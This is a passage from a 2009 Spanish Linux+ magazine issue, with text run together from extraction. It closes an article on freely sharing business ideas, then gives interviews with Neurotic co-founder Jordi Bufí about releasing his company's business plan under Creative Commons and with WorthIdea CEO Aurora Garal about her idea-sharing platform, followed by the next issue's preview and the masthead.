Ayudamos a emprendedores (sobre todo los que empiezan y/o tienen un perfil más técnico, como nosotros), • Alguien puede ver el plan de empresa, encontrarlo interesante y decidir finan- el hecho de estar tan cerca del Software Libre ciarlo. (Drupal es Software Libre, y también imparten cursos y charlas relacionadas con el tema Y a pesar de los pros, la decisión de liberar el en Universidades) les ayudó a tomar esta dedocumento, la idea, puede resultar complica- cisión que, como poco, les ha reportado conda de tomar, ya que significa prácticamente tactos y visibilidad. En este mismo número regalar todo ese esfuerzo para que alguien se entrevistamos a Jordi Bufí, quien nos aporta pueda beneficiar de la idea y sacar el proyec- más datos e información sobre esta decisión to adelante sin contar con ellos. Imagino que y sobre el plan de empresa en sí. Conclusión Figura 7. La entrada del blog de Jordi Bufi donde comentaba la liberación de su plan de empresa 84 Linux+ 5/2009 Resulta curioso que, de pequeños, nos explican lo importante que es compartir, pero que a lo largo de nuestra vida vayamos perdiendo esa costumbre. El trabajo, la competitividad, y otros intereses que no tocaremos en este artículo, nos llevan a ir compartiendo cada día menos. Por suerte, el Software Libre ha abierto muchas puertas en torno a la compartición de contenidos y oportunidades, y se ha transportado a otros entornos, facilitando el que surjan iniciativas que traten acerca de compartir multitud de cosas, tanto contenidos, como incluso ideas, tal y como hemos visto en este artículo. Desde mi punto de vista, no puedo hacer más que dar la enhorabuena tanto a la gente de Ideas4All, WorthIdea y Neurotic por haber dado una vuelta de tuerca al mundo del conocimiento libre, posibilitando la compartición de ideas y la apertura a nuevas posibilidades que hasta hace poco no existían. Y estoy totalmente seguro de que el futuro nos depara todavía más iniciativas interesantes en esta línea. Páginas recomendadas www.diariolinux.com www.elguille.info www.gatolinux.blogspot.com www.opensourcespot.org www.hispabyte.net www.linuxdata.com.ar www.linuxhispano.net www.pillateunlinux.wordpress.com www.usla.org.ar www.mundopc.net www.picandocodigo.net www.linuxuruguay.org entrevista Entrevista a Jordi Bufí Entrevista a Jordi Bufí (co-fundador de Neurotic) Jordi Bufí es un “informático metido a emprendedor” desde el año 2003, cuando junto a Carlos Rincón fundó Neurotic, una empresa tecnológica dedicada a ofrecer soluciones Web y consultoría de Drupal. En septiembre de 2008, Jordi anunciaba en su blog la liberación bajo licencia Creative Commons del plan de empresa de un proyecto muy interesante en el que habían estado trabajando Carlos y él durante bastante tiempo. En esta entrevista profundizaremos sobre la liberación del plan de empresa y la relación de Neurotic con el Software Libre. Jordi Bufí (http://jordi.bufi.es/) es co-fundador de Neurotic (http://www.neuroticweb.com), una empresa dedicada al desarrollo de soluciones Web y la consultoría de Drupal, así como una especie de incubadora de proyectos propios. Gracias a la excelente disposición de Jordi, hemos podido entrevistarle para que nos cuente más detalles del plan de empresa que liberaron, de su relación con el Software Libre y otros aspectos relacionados con Neurotic y con el mundo del emprendizaje. L+: Como bien dices en tu blog, eres un "informático metido a emprendedor", ya que eres cofundador de Neurotic. ¿A qué os dedicáis en Neurotic? Jordi Bufi: En Neurotic nos dedicamos al desarrollo Web. Estamos especializados en Drupal y desarrollamos tanto proyectos para otras empresas como proyectos propios. L+: ¿Qué tal se lleva la vida de emprendedor? J.B.: Si haces lo que te gusta todo es mucho más fácil. De todos modos levantar un proyecto desde cero nunca es fácil y últimamente las cosas están peor, sobre todo de cara al acceso a la financiación privada. Si a esto le sumas unas ayudas por parte de la administración de muy difícil acceso y, normalmente, la incom- 86 prensión de tu entorno, nos encontramos ante un panorama poco alentador. Por eso es prácticamente imprescindible que si te lanzas lo hagas con algo que te apasione. A pesar de todo ver crecer tu proyecto es algo impagable. L+: Por mucho que se diga en el mundillo de los emprendedores (bueno, sobre todo por parte de los inversores), que las ideas "no valen nada", los emprendedores tienden a preservarlas como sus tesoros. ¿Por qué os decidisteis a liberar no solamente una idea, sino un plan de negocio elaborado al que le habéis dedicado mucho tiempo? ¿La decisión fue un proceso simple u os costó un cierto tiempo llegar a la conclusión de que merecía la pena liberarlo? J.B.: Nos encontramos en un punto que teníamos un buen documento (el plan de empresa de un proyecto) hecho para un propósito que no se había conseguido (lograr financiación). Antes de dejarlo reposar en nuestro disco duro para los tiempos de los tiempos decidimos compartirlo con la comunidad de emprendedores. Fue un proceso muy natural. Pensé que pese a las limitaciones del plan de empresa (tuvimos que hacerlo siguiendo un modelo muy rígido) podría ayudar a mucha gente que se planta por primera vez ante la necesidad Linux+ 5/2009 de crear uno. Entonces le pregunté a mi socio (Carlos) qué le parecía la idea de compartirlo y estuvo de acuerdo. Aprovecho la ocasión para comentar que Carlos es el gran olvidado. Si bien fui yo quien publicó el documento en mi blog personal, sin su colaboración y aprobación no hubiera sido posible la creación del mismo ni su posterior liberación. L+: Desde tu punto de vista, ¿realmente las ideas "no valen nada" como dicen muchos inversores? J.B.: Mi punto de vista sobre las ideas ha ido cambiando. Si bien es cierto que al principio era bastante celoso de las ideas con el tiempo me he relajado bastante en este aspecto. Pienso que habiendo tanta gente en el mundo es normal que alguien haya tenido la misma idea que tú. Si además la idea es buena lo más seguro es que además ya la haya desarrollado. Creo que lo que marca la diferencia es el "conjunto de pequeñas ideas" y la estrategia que sigues en la ejecución del proyecto así como la calidad de desarrollo del mismo. L+: ¿Podrías resumirnos la idea que planteáis en el plan de empresa, como si fuera una especie de "elevator pitch"? entrevista Entrevista a Jordi Bufí J.B.: Nuestra idea era montar una "red social inteligente" que aunara la inteligencia artificial con la inteligencia colectiva para reunir en una sola página Web toda la información que hay disponible en Internet sobre todo lo relacionado con viajes debidamente categorizado. L+: La publicación de la versión liberada de vuestro plan de empresa tuvo muy buena acogida, de hecho en el post de tu blog (http:// jordi.bufi.es/) en el que enlazabas el plan de empresa y comentabas los detalles acerca de su liberación recibió muchos comentarios. Más allá de comentarios positivos, ¿el haber liberado el plan de empresa os ha aportado algo o abierto alguna puerta? J.B.: La ventaja más importante pero menos medible ha sido la repercusión que ha tenido la propia liberación en Internet; gracias a esto ahora más gente conoce Neurotic. Además las críticas recibidas son muy útiles, no sólo para elaborar nuevos planes de empresa sino en general para encarar futuros proyectos. L+: Además de sacar adelante todos los proyectos que hacéis en Neurotic, co-organizas el Iniciador de Barcelona, un encuentro de emprendedores para emprendedores que también se organiza en Madrid. ¿Qué le puede aportar este tipo de eventos a alguien que quiera sacar una idea adelante? ¿Y por qué te decidiste a coorganizar el evento? J.B.: Iniciador es el lugar ideal para relacionarse con gente que se encuentra en la misma situación que tú, cosa que ayuda a superar "la soledad del emprendedor". Además de conocer la experiencia de otros emprendedores es un buen sitio para encontrar colaboradores: desde clientes a proveedores pasando, porque no, por futuros socios. La decisión de co-organizar el evento la tomé a raíz de una petición de Jordi Pérez (el responsable de traer Iniciador a Barcelona). Hacía relativamente poco que Carlos y yo habíamos decidido "romper el cascarón" y empezar a participar en eventos de networking. Dadas nuestras pocas habilidades de comunicación ví la posibilidad de organizar Iniciador como una excelente posibilidad para mejorar en este aspecto. Digamos que ha sido la mejor terapia de choque para dos frikis asociales como nosotros. L+: ¿Qué consejos le darías a aquellos que, en la actualidad, tengan intención de llevar algún proyecto propio adelante? ¿Mejor esperar a que pase la crisis o ponerse a trabajar desde ya? J.B.: Este es un asunto parecido al de tener un hijo. Si esperas el mejor momento lo más seguro es que te quedes sin descendencia. Es difícil dar un consejo general sin tener en cuenta la situación laboral de cada uno y las responsabilidades que tiene uno encima. Seguramente no sea el mejor momento para dejar un trabajo estable si la mayoría de los ingresos familiares provienen de él, pero creo que es muy importante empezar cuando antes a la mínima que puedas permitírtelo. Son tiempos difíciles pero si consigues montar una empresa rentable en esta situación que estamos viviendo serás capaz de todo cuando el panorama económico vuelva a la normalidad. En este sentido recomiendo leer "El Libro Negro del Emprendedor" de Fernando Trías de Bes. Si después de leerlo no se te han quitado las ganas de empezar seguramente sea tu momento. L+: En Neurotic estáis muy cerca del Software Libre, una de vuestras líneas de negocio es la consultoría de Drupal, y también habéis dado algunas charlas/cursos en Jornadas relacionadas con el Software Libre. ¿Cuál es tu visión del Figura 1. Esta es la web de Neurotic (http://www.neuroticweb.com), donde se pueden ver sus proyectos, su equipo y todo lo que rodea a la propia empresa www.lpmagazine.org Este artículo es Libre El texto de este artículo está licenciado bajo Creative Commons Atribución. La editorial ha tenido a bien el comprometerse con la causa del conocimiento libre y liberar, en su Web, los contenidos de esta sección regular, dos meses después de aparecer su versión física en los kioscos. Software Libre con respecto a los negocios? ¿Abre más puertas trabajar con Software Libre? J.B.: En Neurotic prácticamente la totalidad de los programas que usamos pertenecen a Software Libre y nos gusta animar al resto de empresas a que, al menos, lo prueben. Sí que es cierto que puedes necesitar usar software privativo para algún tema muy concreto pero la mayoría de necesidades están cubiertas con el amplio espectro de soluciones libres que hay disponibles hoy en día. Trabajar con Software Libre abarata los costes de los proyectos ya que por norma general te ahorras el pago de licencias. Esto no es lo más importante pero normalmente es lo que más llama la atención a los clientes. Además, teniendo en cuenta que tienes una comunidad de desarrolladores mejorando la herramienta día a día acabas trabajando con un software más seguro y más funcional que las alternativas no libres. Entrando en el terreno puro de desarrollo también se debe valorar que al trabajar con software libre es mucho más fácil que cualquier otra empresa asuma el desarrollo del proyecto en fases posteriores en el caso que sea necesario. L+: ¿Cuál es vuestro proyecto más destacado dentro de Neurotic? J.B.: Marujeo.com es nuestro proyecto más mediático y que más repercusión está teniendo. Una mezcla de la temática (prensa del corazón) y una Blogger muy gamberra (Bea) ha provocado que hayamos salido en revistas, periódicos y televisión por diferentes motivos. De hecho en estos momentos estamos desarrollando WTF (Walking Towards the Future), una versión modificada del proyecto que publicamos en el plan de empresa. Dada la situación actual creemos más importante mejorar los proyectos que ya tenemos en marcha en vez de lanzar al mercado nuevos proyectos. Por eso aprovecharemos WTF para aplicarlo primero a marujeo.com y después al resto de proyectos que tenemos. La entrevista ha sido realizada por nuestro colaborador José Carlos Cortizo Pérez. 87 entrevista Entrevista a Aurora Garal Entrevista a Aurora Garal (co-fundadora y CEO de WorthIdea) WorthIdea es una plataforma global que permite a las personas comunicar todas las ideas originales que tengan, generando interesantes conversaciones entre distintas personas y agentes, o incluso obteniendo remuneración económica por las ideas que realmente aportan valor. En este número entrevistamos a Aurora Garal, co-fundadora y actual CEO del proyecto. Aurora Garal es la co-fundadora y actual CEO de WorthIdea (http://www.worthidea.com), una excelente iniciativa que promueve la compartición de ideas a través de una plataforma web. Aurora nos ha hecho un hueco en su ajetreada agenda para responder a algunas de nuestras preguntas sobre su proyecto, y sobre la compartición de ideas. Linux+: Aurora, ¿cómo describirías WorthIdea en pocas palabras? Aurora Garal: WorthIdea es una plataforma donde las empresas van a poder acelerar y orientar sus procesos de innovación mediante la colaboración con sus clientes o potenciales consumidores. L+: ¿Cómo se te ocurrió llevar adelante un proyecto como WorthIdea? A.G.: La verdad es que siempre había tenido claro que quería montar un negocio propio, ser emprendedora. Tenía muchas ideas pero muchas de ellas requerían una inversión y unos conocimientos de los que yo carecía. Me parecía un desperdicio no hacer nada con ellas y busqué un canal para poder hacérselas llegar a las empresas, que ya estaban en el negocio, y que con una mínima inversión les podían suponer unos beneficios importantes. Pero ese canal no existía, salvo los típicos buzones de sugerencias 88 que nunca harían llegar mi idea a las capas de decisión. Así que maduré la idea, ví que todos teníamos necesidades que el mercado no nos satisfacía, que se nos ocurrían muchos y originales productos y servicios que compraríamos si alguien nos lo ofreciera y por eso decidí hacer una plataforma donde todos pudiéramos decir a las empresas aquellos productos y servicios que nos gustaría que nos ofrecieran. Todas las empresas innovan, sacan al mercado nuevos productos, pero ¿y si esos productos te los hubieran dicho previamente tus clientes? Y así surgió WorthIdea. L+: A día de hoy, ¿ha habido casos de éxito en WorthIdea? Es decir, ¿conoces alguna empresa o persona que haya desarrollado alguna idea compartida en WorthIdea? A.G.: Aunque es complicado saber cuáles de las ideas de la comunidad de WorthIdea se han llevado a cabo, sí que hemos recibido correos de algunos emprendedores indicándonos ideas que habían hecho realidad. Por otro lado, también hemos visto ideas que se han llevado a cabo por empresas importantes, aunque su origen en WorthIdea no está confirmado en la mayor parte de los casos. Una de ellas por ejemplo, fue una idea en la que se sugería el pago mensual para las pólizas de seguros de coches en lugar del típico anual. Cuatro meses Linux+ 5/2009 después de su publicación en WorthIdea, Línea Directa sacó ese servicio para sus clientes. L+: ¿Existe alguna forma de que los usuarios protejan sus ideas en WorthIdea? ¿Utilizáis algún sistema de licencias (por ejemplo Creative Commons o Color Iuris) o tenéis pensado utilizarlo? A.G.: Cuando un usuario introduce una idea en WorthIdea, su principal motivación es que una empresa la haga realidad y le ofrezca ese servicio o producto ideado. Por este motivo quizás no tenga mucho sentido lo de “proteger” la idea, puesto que lo que pretendes es que alguien la coja y la desarrolle. En cualquier caso, y aunque se definieran licencias sobre ellas, sería muy complicado protegerlas legalmente si no existe una patente de por medio. Yo siempre digo lo mismo, si tienes una idea que quieras y puedas hacer tú realidad, no la introduzcas en WorthIdea. En WorthIdea podemos y debemos dejar todas aquellas ideas que nos interesan como productos, pero que no nos vemos capaces de sacar adelante con nuestros medios. L+: En WorthIdea se comparten ideas para todos los gustos y de todos los colores, sin embargo, ¿existe alguna categoría de ideas predominante? ¿Tenéis algún tipo de estadística mostrando las áreas más activas? entrevista Entrevista a Aurora Garal Este artículo es Libre El texto de este artículo está licenciado bajo Creative Commons Atribución. La editorial ha tenido a bien el comprometerse con la causa del conocimiento libre y liberar, en su Web, los contenidos de esta sección regular, dos meses después de aparecer su versión física en los kioscos. Figura 1. Así se ve el sitio web de WorthIdea, donde todos vosotros podéis compartir vuestras ideas A.G.: Tal y como dices, las hay de todos los tipos imaginables, aunque sí que se puede decir que actualmente casi la mitad de las ideas están relacionadas de alguna forma con la tecnología ya sea del sector de telefonía móvil, de negocios de Internet o cualquier tipo de maquinaria o invento. Actualmente, esta información de áreas más activas no se están mostrando en la web aunque en los próximos desarrollos sí que se tiene pensado el poder hacer una nube de tags o sistema similar que permita tener este conocimiento de una forma sencilla y rápida. L+: Además de ser una excelente iniciativa, WorthIdea también es una web donde los usuarios pueden interactuar, lo que implica unos costes de desarrollo, mantenimiento, etc. ¿Fue fácil conseguir la financiación para llevar adelante WorthIdea? ¿Tenéis planes de seguir creciendo a corto/medio plazo? A.G.: La puesta en marcha de WorthIdea se realizó exclusivamente con las aportaciones que hicimos los dos socios fundadores. Actualmente nos encontramos inmersos en un desarrollo bastante innovador y cerrando acuerdos con diferentes empresas, para lanzar una versión mucho más ambiciosa de WorthIdea, donde cada uno de nosotros podemos ser los protagonistas y tendremos voz y voto directo con las empresas que participen. L+: Tal y como comentas, decidiste ser emprendedora y comenzar un camino ilusionante pero también muy duro. ¿Animas a otras personas que tengan ideas que les ilusionen a montar su propia empresa o sacar sus proyectos adelante? ¿Cuáles han sido tus mayores satisfacciones a lo largo del camino? A.G.: Sin duda alguna. Antes de ser emprendedora, trabajé durante años en una consultora multinacional y allí la verdad que estuve inmersa en importantes proyectos que me dieron muchas satisfacciones profesionales. Pero nada de todo aquello se puede comparar a lo que sientes cuando trabajas en tu propio proyecto, para tu propia empresa. Es cierto que hay momentos de incertidumbre, dejas a un lado la seguridad y asumes riesgos, pero soy de las que piensa que si no arriesgas no ganas, y aunque solo sea por la experiencia creo que de sobra merece la pena intentarlo. Sin embargo es muy difícil elegir la mayor satisfacción... creo que la mayor satisfacción es el conjunto en sí, el ver como piedra a piedra se va construyendo algo que tiene sentido. En el camino las pequeñas piedrecitas que vas consiguiendo te satisfacen e ilusionan, pero ver el conjunto es la mayor satisfacción. Y aún hay más, porque sólo con pensar que esto no ha hecho más que comenzar como aquel que dice y que quedan muchas piedras por poner, te ilusionas más todavía. L+: Entre los inversores es muy habitual oír frases del tipo "la idea no vale nada"; imagino que tu opinión será muy distinta. ¿Qué les dirías tú a los que restan valor a las ideas? A.G.: Todos los inversores dicen lo mismo, y algo deben saber, ¿no? Yo creo que para alguien que ve muchos proyectos todos los días basados en buenas ideas, es normal que reste importancia a lo que ve que hay mucho y se centre más en lo que echa en falta, que es un buen equipo promotor. Yo comparto totalmente la premisa de que si no hay un equipo bueno y equilibrado para abarcar un proyecto, da igual que la idea sea muy buena, porque no se va a poder sacar adelante. Pero también le doy a las ideas el valor que se merecen. Pensemos en empresas ya establecidas, que sacan un nuevo producto, que a su vez surgió de una idea. Por ejemplo, Windows Vista. En este caso, el equipo, el dinero, etc., no era un problema, sin embargo falló “lo menos importante” la idea. Si ahora nos vamos al terreno de los emprendedores, si partes de una mala idea, aunque tengas todo lo demás lo más seguro es que te dirijas al fracaso, aunque por supuesto pueden haber excepciones. Quizás esta pregunta da para hacer todo un artículo sobre ella, definiendo las características que deben cumplir las ideas, los aspectos del entorno que le influyen, etc., pero está claro que sin la idea inicial nada nuevo podría surgir. La entrevista ha sido realizada por nuestro colaborador José Carlos Cortizo Pérez. Figura 2. Página de búsqueda www.lpmagazine.org 89 El tema principal del siguiente número de Linux+ será: Cloud Computing El próximo número incluirá los siguientes artículos: • ¿Cloud Computing: ¿gran oportunidad para Linux? • Seguridad de Sistemas de Cloud Computing • Máquinas Virtuales, parte II • Aplicaciones de Internet Enriquecidas (RIA): Programando RIA con Flex y AMFPHP • Descubriendo a Cinelerra: Un clásico editor libre de video La Redacción se reserva derecho a modificar sus planes Mensual Linux+ está publicado por Software-Wydawnictwo Sp. z o. o. Diseño portada: Agnieszka Marchocka Producción: Marta Kurpiewska, [email protected] Redactora jefe: Paulina Pyrowicz, [email protected] Colaboradores: Francisco Javier Carazo Gil, José Carlos Cortizo Pérez, David Puente Castro, Jorge Emanuel Capurro Gráfico: Łukasz Pabian – "insane" Publicidad: [email protected] Suscripción: [email protected] Correctores: Pablo Cardozo Distribución: Coedis, S. L. Avd. Barcelona, 225 08750 Molins de Rei (Barcelona), España Preparación de DVDs: Ireneusz Pogroszewski, Andrzej Kuca DTP: Marcin Ziółkowski Graphics & Design Studio, www.gdstudio.pl Dirección: Software–Wydawnictwo Sp. z o.o., ul. Bokserska 1, 02-682 Varsovia, Polonia La Redacción se ha esforzado para que el material publicado en la revista y en los DVDs que la acompañan funcionen correctamente. Sin embargo, no se responsabiliza de los posibles problemas que puedan surgir. Todas las marcas comerciales mencionadas en la revista son propiedad de las empresas correspondientes y han sido usadas únicamente con fines informativos. La Redacción usa el sistema de composición automática Los DVDs incluidos en la revista han sido comprobados con el programa AntiVirenKit, producto de la empresa G Data Software Sp. z o.o. ¡Advertencia! Queda prohibida la reproducción total o parcial de esta ublicación periódica, por cualquier medio o procedimiento, sin para ello contar con la autorización previa, expresa y por escrito del editor. Linux ® es una marca comercial registrada de Linus Torvalds.